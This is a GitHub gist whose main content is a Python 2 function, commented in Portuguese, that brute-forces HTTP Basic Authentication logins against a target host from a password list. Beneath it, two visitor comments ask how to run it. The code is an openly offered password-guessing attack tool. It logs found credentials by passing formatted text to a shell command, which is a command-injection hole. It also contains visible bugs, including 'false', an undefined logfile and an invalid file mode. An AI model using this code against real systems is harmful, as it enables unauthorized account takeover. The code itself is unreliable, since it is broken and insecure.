Skip to content

Instantly share code, notes, and snippets.

@msfidelis
Created June 12, 2016 22:33
Show Gist options
  • Save msfidelis/e28ca501a8b08de2082875404dcf708c to your computer and use it in GitHub Desktop.
Save msfidelis/e28ca501a8b08de2082875404dcf708c to your computer and use it in GitHub Desktop.
#FUNÇÃO RESPONSÁVEL PELO BRUTEFORCE
def bruteforce(target,port,ssl, passlist,username):
url = '%s:%s' % (target, port)
fd = open(passlist, 'rw')
passwords = fd.readlines()
passes = Queue.Queue()
for password in passwords:
password = password.rstrip()
passes.put(password)
i = 0
print ""
print colored("==========================[STARTING TEST]==========================",'yellow', attrs=['bold'])
print colored("STARTING TEST ON HOST: %s",'blue', attrs=['bold']) % (url)
print ""
#VALIDA A CONEXÃO E/OU SE O ALVO ESTÁ DISPONÍVEL PARA REALIZAR O TESTE
try:
if ssl is True:
validation = requests.get('https://'+url ,verify=False, timeout=8)
else:
validation = requests.get('http://'+url, timeout=8)
if validation.status_code == 200:
print colored("[X] INVALID TEST ", 'red', attrs=['bold'])
return false
except:
print colored("[X] NO CONNECTION ", 'red', attrs=['bold'])
return false
while not passes.empty():
password = passes.get()
i = i + 1
#AQUI IREMOS AVALIAR O PROTOCOLO, CASO ELE FOR TRUE, IRÁ REALIZAR REQUESTS COM O SSL
try:
if ssl is True:
test = requests.get('https://'+url ,auth=(username, password), verify=False, timeout=8)
else:
test = requests.get('http://'+url, auth=(username, password), timeout=8)
except:
pass
code = test.status_code
print colored('[%s] USER[%s] PASS [%s]', 'yellow') % (i,username,password)
if code == 200:
print ""
print colored("==========================[LOGIN FOUND]==========================", 'yellow', attrs=['bold'])
print ""
print colored("===================================================================", 'yellow', attrs=['bold'])
print colored(" [ :: USER[%s] AND PASS[%s] ] ", 'green', attrs=['bold']) % (username, password)
print colored("===================================================================", 'yellow', attrs=['bold'])
#GRAVA LOG
log = "echo '%s;%s;%s;%s' >> %s" % (target, port, username, password, logfile)
subprocess.call(log, shell=True)
return True
else:
pass
@tihhgoncalves
Copy link

What syntax to use?

@tihhgoncalves
Copy link

Qual a sintaxe pra usar?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment